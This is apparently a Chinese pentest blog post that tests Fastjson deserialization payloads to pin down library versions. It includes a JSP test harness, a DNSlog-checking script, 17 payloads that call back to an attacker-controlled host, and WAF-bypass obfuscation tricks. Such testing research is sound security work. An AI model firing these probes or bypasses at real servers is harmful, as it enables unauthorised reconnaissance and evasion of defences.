每次测试遇到fastjson无法定位版本,部分文章里的payload也没有准确的版本范围,抽空对payload做了个测试,这里记录下
0x00 概述
使用常见的payload对fastjson版本进行测试,方便遇到fastjson进行较小范围的版本判断,使用bypass字符绕过等等,文末有修改的fastjson版本探测小工具
0x01 背景
测试过程中,会遇到很多json进行传输的站点,有jackson、fastjson等等,但是这些当中,有漏洞的概率最大的还是fastjson。
确定fastjson的版本是攻击fastjson的第一步,很多的文章只是一笔带过,如下面这种
没有明确到某些版本,又或者是明确了版本,但是可能不是正确的,导致基础比较薄弱的师傅对fastjson的利用较为困难,实际上fastjson并不是只能命令执行,在某些版本中还可以文件读取、ssrf等等。本篇文章记录下常见的payload对于一些版本的判断测试
0x02 测试具体方法
用pom把所有版本的fastjson下载了,然后在fastjson文件夹下执行这个命令,把fastjson固定在一个文件内,通过反射装载jar,调用完以后卸载
find . -name "*.jar" -type f -exec cp {} /Users/f0ng/xxxxxx/ ;
调用fastjson包的原理为 使用反射获取请求里传来的版本参数,从而动态调用相应版本的fastjson进行解析,解析完毕以后自动卸载
测试涵盖fastjson1所有版本
测试版本如下:
1_2_83
1_2_80
1_2_79
1_2_78
1_2_77
1_2_76
1_2_75
1_2_74
1_2_73
1_2_72
1_2_71
1_2_70
1_2_69
1_2_68
1_2_67
1_2_66
1_2_62
1_2_61
1_2_60
1_2_59
1_2_58
1_2_57
1_2_56
1_2_55
1_2_54
1_2_53
1_2_52
1_2_51
1_2_50
1_2_49
1_2_48
1_2_47
1_2_46
1_2_45
1_2_44
1_2_43
1_2_42
1_2_41
1_2_40
1_2_39
1_2_38
1_2_37
1_2_36
1_2_35
1_2_34
1_2_33
1_2_32
1_2_31
1_2_30
1_2_29
1_2_28
1_2_27
1_2_26
1_2_25
1_2_24
1_2_23
1_2_22
1_2_21
1_2_20
1_2_19
1_2_18
1_2_17
1_2_16
1_2_15
1_2_14
1_2_13
1_2_12
1_2_11
1_2_10
1_2_9
1_2_8
1_2_7
1_2_6
1_2_5
1_2_4
1_2_3
1_2_2
1_2_1
python脚本如下
# -*- coding: utf-8 -*-
# @Software: f0ng
fastjosn_version = ["1_2_83",
"1_2_80",
"1_2_79",
"1_2_78",
"1_2_77",
"1_2_76",
"1_2_75",
"1_2_74",
"1_2_73",
"1_2_72",
"1_2_71",
"1_2_70",
"1_2_69",
"1_2_68",
"1_2_67",
"1_2_66",
"1_2_62",
"1_2_61",
"1_2_60",
"1_2_59",
"1_2_58",
"1_2_57",
"1_2_56",
"1_2_55",
"1_2_54",
"1_2_53",
"1_2_52",
"1_2_51",
"1_2_50",
"1_2_49",
"1_2_48",
"1_2_47",
"1_2_46",
"1_2_45",
"1_2_44",
"1_2_43",
"1_2_42",
"1_2_41",
"1_2_40",
"1_2_39",
"1_2_38",
"1_2_37",
"1_2_36",
"1_2_35",
"1_2_34",
"1_2_33",
"1_2_32",
"1_2_31",
"1_2_30",
"1_2_29",
"1_2_28",
"1_2_27",
"1_2_26",
"1_2_25",
"1_2_24",
"1_2_23",
"1_2_22",
"1_2_21",
"1_2_20",
"1_2_19",
"1_2_18",
"1_2_17",
"1_2_16",
"1_2_15",
"1_2_14",
"1_2_13",
"1_2_12",
"1_2_11",
"1_2_10",
"1_2_9",
"1_2_8",
"1_2_7",
"1_2_6",
"1_2_5",
"1_2_4",
"1_2_3",
"1_2_2",
"1_2_1"]
import requests
def convert_to_ranges(versions):
ranges = []
start = end = versions[0]
for v in versions[1:] + [None]:
# 将版本号字符串转换为数字列表
parts = list(map(int, v.split('_'))) if v is not None else None
end_parts = list(map(int, end.split('_')))
# 检查版本是否连续
if parts is not None and parts[0] == end_parts[0]
and parts[1] == end_parts[1] and parts[2] == end_parts[2] - 1:
end = v
else:
# 如果只有一个版本,只添加这个版本
if start == end:
ranges.append(start)
else:
ranges.append(f"{end}-{start}")
if v is not None:
start = end = v
return ranges
burp0_url = "https://callback.red:443/"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": ""Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"", "Sec-Ch-Ua-Platform": ""macOS"", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*", "Origin": "https://www.callback.red", "Sec-Fetch-Site": "same-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://www.callback.red/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}
burp0_data = {"key":
"xxxxxxxxx"}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
total = []
for _ in fastjosn_version:
if _.replace(".","_")+"." not in resp.text :
total.append(_)
if len(total) > 0:
# 调用函数并打印结果
version_ranges = convert_to_ranges(total)
else:
version_ranges = "无"
print("不可用版本")
print(version_ranges)
主要流程
-
将fastjson的payload准备好,动态加载参数 version
设置为变量,payload的dnslog设置为变量,字典为版本号,进行intruder爆破 -
在dnslog平台查看相应的版本号,如果没有相应的版本,则表示相应版本无法使用payload进行dnslog获取
jsp源码如下
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--测试fastjson各个版本payload、bypass字符--%>
<%
// JAR文件的路径
URL jarUrl = new URL("file:///Users/f0ng/fastjsonjars/fastjson-"+request.getParameter("version").replace("_",".")+".jar");
// 父类加载器,可以用当前线程的类加载器等
ClassLoader parentClassLoader = Thread.currentThread().getContextClassLoader();
// 创建URLClassLoader实例以加载JAR
URLClassLoader classLoader = new URLClassLoader(new URL[]{jarUrl}, parentClassLoader);
Class var8 = classLoader.loadClass("com.alibaba.fastjson.JSONArray");
Field var9 = var8.getField("VERSION");
String var10 = (String)var9.get("");
response.setHeader("version",var10);
BufferedReader br = new BufferedReader(new InputStreamReader((ServletInputStream) request.getInputStream(), "utf-8"));
StringBuffer sb = new StringBuffer("");
String temp;
while ((temp = br.readLine()) != null) {
sb.append(temp);
}
br.close();
String params = sb.toString();
out.print(params);
Class var81 = classLoader.loadClass("com.alibaba.fastjson.JSON");
Method parseMethod = var81.getMethod("parse", String.class);
Object result = parseMethod.invoke(null, params);
classLoader.close();
%>
dnslog的payload流程如上,其他类型,如报错、回显这种也类似
测试的时候,在响应头可以看到相应的fastjson版本
在响应平台获取到相应记录
0x03 判断版本payload
测试的一切payload均采用fastjson的默认配置,本次测试只用到了com.alibaba.fastjson.JSON.parse()
函数
payload 1(dns请求)【fastjson>=1.2.37】
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://§1§.{{URL}}"}}""}
经测试,可用范围1.2.37-1.2.83
,即fastjson版本>=1.2.37
payload 2(dns请求)【fastjson>=1.2.37】
{{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}:0
经测试,可用范围1.2.37
-1.2.83
,即fastjson版本>=1.2.37
payload 3(dns请求)【fastjson>=1.2.9】
Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}]
经测试,可用范围1.2.9
-1.2.83
,即fastjson版本>=1.2.9
payload 4(dns请求)【fastjson>=1.2.9】
Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}
经测试,可用范围1.2.9
-1.2.83
,即fastjson版本>=1.2.9
payload 5(dns请求)【1.2.9<=fastjson<=1.2.47】
{"name":{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}}
经测试,可用范围1.2.47
以下,1.2.9
以上,即1.2.9<=fastjson版本<=1.2.47
payload 6(dns请求)【fastjson>=1.2.9】
[{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]
经测试,可用范围1.2.9
以上,即fastjson版本>=1.2.9
payload 7(http请求)【1.2.37<=fastjson<=1.2.68】
{"a":{"@type":"java.lang.AutoCloseable","@type":"com.alibaba.fastjson.JSONReader","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://§1§.{{URL}}"}}}
经测试,可用范围1.2.68
以下,1.2.37
以上,即1.2.37<=fastjson版本<=1.2.68
payload 8(dns请求)【fastjson>=1.2.9以及fastjson=1.2.83】
[{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.80.{{URL}}"}}},{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.83.{{URL}}"}}}]
经测试,带有83的dnslog记录只会在fastjson 1.2.83
中出现
带有80的dnslog记录,可用范围1.2.9
以上
payload 9(dns请求)【1.2.9<=fastjson<=1.2.68】
[{"@type": "java.lang.AutoCloseable","@type": "java.io.ByteArrayOutputStream"},{"@type": "java.io.ByteArrayOutputStream"},{"@type": "java.net.InetSocketAddress"{"address":,"val": "§1§.{{URL}}"}}]
经测试,可用范围1.2.9
以上,1.2.68
以下,即1.2.9<=fastjson版本<=1.2.68
payload 10(dns请求)【1.2.9<=fastjson<=1.2.47】
{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}
经测试,可用范围1.2.9
以上,1.2.47
以下,即1.2.9<=fastjson版本<=1.2.47
payload 11(dns请求)【fastjson>=1.2.9】
单独的两条
{"@type":"java.net.Inet4Address","val":"§1§.{{URL}}"}
{"@type":"java.net.Inet6Address","val":"§1§.{{URL}}"}
经测试,可用范围1.2.9
以上,即fastjson版本>=1.2.9
payload 12(dns请求)【fastjson>=1.2.9】
{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}
经测试,可用范围1.2.9
以上,即fastjson版本>=1.2.9
payload 13(dns请求)【1.2.9<=fastjson<=1.2.24以及1.2.40<=fastjson<=1.2.47】
[{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},{"@type":"java.io.ByteArrayOutputStream"},{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]
经测试,可用范围1.2.9
以上,1.2.24
以下或者1.2.40
以上,1.2.47
以下,即1.2.9<=fastjson版本<=1.2.24
或者1.2.40<=fastjson版本<=1.2.47
payload 14(报错)【fastjson<=1.2.24以及fastjson=1.2.83】
{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}}
经测试,在fastjson<=1.2.24以及fastjson=1.2.83的时候不会报错,其余均报错
payload 15(报错)【fastjson<=1.2.68】
{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}}
经测试,在fastjson<=1.2.68的时候不会报错,其余均报错
payload 16(报错) 【1.2.9<=fastjson<=1.2.47】
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}
经测试,在1.2.9<=fastjson<=1.2.47的时候不会报错,其余均报错
payload 17(报错) 【fastjson<=1.2.47】
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
经测试,在fastjson<=1.2.47的时候不会报错,其余均报错
0x04 判断bypass字符
测试的payload为dnslog下,payload选取较为通用的{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}
【在fastjson版本>=1.2.9下都可以使用】
payload 1
a、n、b、r、f、t
等
com.alibaba.fastjson.parser.JSONLexerBase
代码
r
即为十六进制的0x0dn
即为十六进制的0x0at
即为十六进制的0x09a
即为十六进制的0x07b
即为十六进制的0x08f
即为十六进制的0x0c 0x0b
不影响@type
前提下
payload如下
经测试,可用范围1.2.9
以上,即fastjson版本>=1.2.9
特殊字符的base64编码为DQoJDAsHDA==
影响@type
前提下
这里经过测试,如果把字符串中的0x07
以及0x0b
去除,可以加在"@type":"java.net.InetSocketAddress"
不影响json的解析,反之,则会造成500错误
即以下payload是可以发出请求的
base64编码为ew0KCQwMIkB0eXBlIg0KCQwMOg0KCQwMImphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzIg0KCQwLBwx7DQoJDAsHDCJhZGRyZXNzIg0KCQwLBww6DQoJDAsHDCwNCgkMCwcMInZhbCINCgkMCwcMOg0KCQwLBwwiMjIyMjIubmxuMC5jYWxsYmFjay5yZWQifX0=
经测试,可用范围1.2.9
以上,即fastjson版本>=1.2.9
另外也可以这样使用,每个字符加rn
进行换行,其他字符不行
结论
-
r
即为十六进制的0x0d,可任意使用 -
n
即为十六进制的0x0a,可任意使用 -
t
即为十六进制的0x09,可任意使用 -
a
即为十六进制的0x07,在@type
及其值附近不允许使用 -
b
即为十六进制的0x08,可任意使用 -
f
即为十六进制的0x0c,可任意使用 -
0x0b,在 @type
及其值附近不允许使用
payload 2
/*{*/
注释符
{/*{*/"@type"/*{*/:/*{*/"java.net.InetSocketAddress"/*{*/{/*{*/"address":/*{*/,/*{*/"val"/*{*/:"33.bnoo.callback.red"/*{*/}/*{*/}
经测试,可用范围1.2.9
以上,即fastjson版本>=1.2.9
使用另一个payload
[{"@type"/*{*/:/*{*/"java.lang.Exception","@type":/*{*/"com.alibaba.fastjson.JSONException","x":/*{*/{"@type"/*{*/:/*{*/"java.net.InetSocketAddress"{"address"/*{*/:/*{*/,"val"/*{*/:/*{*/"4321111.hu7g.callback.red"}}},{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"83.hu7g.callback.red"}}}]
不允许注释符的地方
"@type":"com.alibaba.fastjson.JSONException"
"x":
payload n
还有很多可以混淆的方法,诸如加逗号、unicode编码、hex编码(x
)、单双引号、下划线(FastJson 会自动把下划线命名的 Json 字符串转化到驼峰式命名的 Java 对象字段中)等等
0x05 测试结论
大致通过对payload的测试得到了一些判断fastjson版本范围的payload,但是怎么在日常测试中能运用到呢,这里有两个工具
FastjsonScan
得益于以上payload的版本范围从而可以对工具进行版本的修改,这里简单修改了a1phaboy师傅的工具https://github.com/a1phaboy/FastjsonScan
测试截图如下(在无法报错获取版本号的前提下)
大于等于1.2.47小于等于1.2.68,调用的为1.2.68,满足条件
大于等于1.2.9小于等于1.2.37,调用的为1.2.28,满足条件
大于等于1.2.68,调用的为1.2.80,满足条件
调用的为1.2.83,满足条件
这里放出一个扫描fastjson版本的,更改了dnslog,增加了get、postapplication/x-www-form-urlencoded
传参的利用方式,公众号回复fastjsonscan
即可获得
poc2jar
poc2jar中也集成了大致判断的判断
复制payload到intruder中,进行爆破
根据结果大致判断为大于9小于47[大于9小于24或者大于40小于47
],发现结果中没有dayu37xiaoyu68,故fastjson版本为大于9小于24,排除37-47的可能,调用的版本为1.2.24,满足条件
0x06 总结
-
关于fastjson的版本确定一直是从其他师傅的文章、工具里来看到的,通过本地靶场搭建实操与文章里的有些结论还是有一定出入的,测试并非全面,也并非完全正确,如果有错误的,还请师傅们斧正 -
测试环境的搭建也是灵光一现,希望可以作为案例给其他师傅进行组件版本测试中进行参考
0x07 引用
https://blog.csdn.net/m0_71692682/article/details/125814861 abc123师傅关于fastjson文章《# 第18篇:fastjson反序列化漏洞区分版本号的方法总结》
https://github.com/alibaba/fastjson/issues/3077 大师傅们对畸形payload的探讨
https://github.com/safe6Sec/Fastjson safe6Sec师傅对fastjson的总结
https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/ y4tacker师傅对fastjson bypass的总结
https://github.com/a1phaboy/FastjsonScan a1phaboy师傅的的fastjson扫描版本工具
https://drun1baby.top/2022/10/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8705-%E5%86%99%E7%BB%99%E8%87%AA%E5%B7%B1%E7%9C%8B%E7%9A%84%E4%B8%80%E4%BA%9B%E6%BA%90%E7%A0%81%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90/ Drunkbaby师傅对于fastjson源码的分析
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA kezibei师傅对于盲判断fastjson版本的文章
https://github.com/f0ng/poc2jar poc2jar工具
原文始发于微信公众号(闪石星曜CyberSecurity):Fastjson 之各个版本 payload 测试,力荐!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论